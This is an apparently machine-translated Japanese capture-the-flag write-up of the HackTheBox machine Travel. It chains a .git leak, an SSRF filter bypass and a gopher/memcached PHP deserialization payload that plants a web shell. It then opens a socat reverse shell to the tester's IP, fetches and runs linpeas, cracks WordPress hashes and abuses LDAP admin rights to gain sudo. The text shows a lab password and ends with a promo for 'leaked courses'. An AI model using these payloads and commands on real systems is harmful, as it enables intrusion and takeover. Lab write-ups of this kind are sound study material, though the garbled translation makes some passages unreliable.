HackTheBox。パッセージトラベル。Memcache + SSRF = RCE、LDAPを介したLPE



私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています



この記事では、PHP memcacheとSSRFを使用してRCEを取得する方法を理解し、データベースを掘り下げて、LDAP管理者にとって何が危険かを確認します。



ラボへの接続はVPN経由です。情報セキュリティについて何かを知っている人々とのプライベートネットワークにいることに気付くため、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。



組織情報
, , Telegram . , , .



. , - , .



偵察



このマシンのIPアドレスは10.10.10.189で、これを/ etc / hostsに追加します。



10.10.10.189 	travel.htb


最初のステップは、開いているポートをスキャンすることです。nmapですべてのポートをスキャンするのに長い時間がかかるので、最初にmasscanを使用してスキャンします。tun0インターフェイスからすべてのTCPポートとUDPポートを毎秒500パケットでスキャンします。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500






ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。



nmap -A travel.htb -p22,80,443






したがって、SSHサービスとnginxWebサーバーにアクセスできます。スキャンにより、証明書の対象となるDNSが示されます。それらを/ etc / hostsに追加しましょう。



10.10.10.189    www.travel.htb
10.10.10.189    blog.travel.htb
10.10.10.189    blog-dev.travel.htb


これらのサイトを見てみましょう。最初のものには、サイトの説明があります。







2番目はもっと面白いです。これがWordPressCMSであることがすぐにわかり、検索フォームが見つかります。







wpscanでサイトをすばやく確認しても、何も見つかりません。さらに進んで、3番目のサイトでエラー403が発生します。ディレクトリをループしてみましょう。私はこれにgobusterを使用しています。パラメータでは、ストリームの数128(-t)、URL(-u)、辞書(-w)、および関心のある拡張子(-x)を指定します。



gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html






.gitを見つけます。リポジトリをコピーできます。







これはさまざまなプログラムで実行できます私はrip-gitスクリプトを使用します



./rip-git.pl -v -u http://blog-dev.travel.htb/.git/






そして、現在のディレクトリのディレクトリに、結果のファイルと.gitリポジトリが表示されます。







gitkを使用して.gitを操作します。







変更ログがあり、そこからキャッシュとセキュリティチェックの存在を確認します。







rss_template.phpファイルで、memcache、urlパラメーターの存在、およびデバッグをマークします。







パラメータには、文字列「custom_feed_url」が含まれている必要があります。そして、おそらくこのアドレスでリクエストが行われます。







RSSページはblog.travel.htbにありました







ローカルWebサーバーを起動し、IPをパラメーターとして渡してawesome-rssにアクセスしてみましょう。



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120






そして、仮定が正しいことを確認します。URLが欠落している場合は、www.travel.htb / newsfeed /customfeed.xmlが選択されることに注意してください



エントリーポイント



READMEは、これらのファイルをwp-content / themes / 20twentyに移動するように指示しています(debug.phpファイルを探しているときにこれに気づきました)。そして、デバッグファイルはそこにあります。











したがって、これはすべて興味深いものであり、まだ明確ではありませんが、シリアル化されたデータのように見えます。すべての情報から1つのことを収集しましょう:
  1. サーバーに接続して、feed.xmlファイルを取得する必要があります。



  2. urlが渡される関数は、SimplePie API(優れたドキュメントがあります)とmemcacheを使用します。この関数はsimplepieオブジェクトを返します。



  3. url_get_contents関数はtemplate.phpで提供されます。同時に、サーバー上のファイルにアクセスする機会を与えてはならないことを確認する価値があります。ただし、アドレス127.0.1.1、127.1、127.000.0.1などを使用してlocalhostにアクセスすることもできるため、SSRFフィルターは十分に正しくありません。



  4. 次に、feed.xmlファイルの情報が表示されます。
  5. TemplateHelperクラスと、転送されたデータを指定されたファイルに書き込むinit()関数もあります。





シリアル化されたデータがログディレクトリのどのファイルに書き込まれるかを把握する必要があります。ドキュメントを参照してみましょう。







したがって、パスはMD5(MD5(url)+ ":spc")として解釈されます。これを確認してみましょう。このために、デフォルトのURLからxmlファイルをダウンロードします。



wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml


次に、RSSページに移動して、ダウンロードしたファイルをURLに渡します。



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml


そして、シリアル化されたデータを取得します。



curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php






そして今、上記の式を使用して、解釈されたパスを計算します。







そして最初の10バイトが一致しました!ここで攻撃ベクトルの概要を説明します-PHPmemcachedとSSRF。グーグル検索でこのスクリプトが見つかりました







この場合のコードを変更する必要があります。シリアル化されたデータを作成しましょう。



 code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'


したがって、コード<?Php system($ _ REQUEST ["cmd"]);を記述します。デシリアライズ時にralf.phpファイルに。何よりも、すでに計算できるキーxct_keyに関心があります。







次に、次のコードを取得して負荷を作成します。



encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload


そして、逆シリアル化します。



r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")


完全なコードを以下に示します(いつものように)。











さて、普通の散歩をしましょう。しかし、python ptyには問題があるので、socatを使用してバックコネクトシェルを作成しましょう。クライアントでリスナーを起動しましょう。



socat file:`tty`,raw,echo=0 tcp-listen:4321


そして、サーバーから接続します。



socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321






ユーザー



通常、このような場合は、wordpressを使用してユーザーデータベースを確認する必要があります。wp-config.phpファイルを見つけましょう。







これらの資格情報を使用して、mysqlに接続しましょう。タスクはwp_usersテーブルを見つけることです。



mysql -h 127.0.0.1 -u wp -p


データベースを見てみましょう。







wpデータベースを見てみましょう。











そして、必要なテーブルを見つけます。







確かに、ハッシュをブルートフォースしようとすると失敗します。そのようなパスワードはありません。次に、linpeasスクリプトをマシンにダウンロードし、いくつかの基本的な列挙を行いました。



curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh


ドッカーコンテナにいることを除いて、特別なものは何も見つかりません。







ただし、このスクリプトはoptディレクトリをチェックしません。そして、データベースのバックアップを見つけただけなので。







このファイルの行を見ると、最後に2人のユーザーに関するエントリがあります。







しかし、2番目のものはただ傷ついています。







hashcat -a 0 -m 400 wp.hash tools/rockyou.txt






そして、見つかったパスワードを使用して、ssh経由で接続します。







ルート



また、ユーザーの作業ディレクトリには、.ldaprcと.viminfoという2つの興味深いファイルがあります。







中身を見てみましょう。したがって、最初のファイルで、ユーザーのldapレコードを見つけます。







そして2番目に彼のldapパスワード。







それをチェックしよう。-x(単純認証)および-w(パスワード)オプションを指定してldapwhoamiを呼び出します。



ldapwhoami -x -w Theroadlesstraveled






.ldaprcファイルからエントリが表示されます。情報を求めましょう。



ldapsearch -x -w Theroadlesstraveled










したがって、ユーザーのリストを取得し、LDAP管理者であることがわかります。つまり、任意のユーザーのSSHキーを作成し、パスワードを変更して、sudoグループをグループに入力できます。須藤グループ-27







。キーのペアを作成しましょう。







それでは、構成ファイルを作成しましょう。







それらをユーザーフランクに適用してみましょう。



ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f frank.ldif






そしてSSH経由で接続します



ssh -i id_rsa frank@travel


それでは、パスワードでsudoを使用しましょう。Telegramに







参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。



All Articles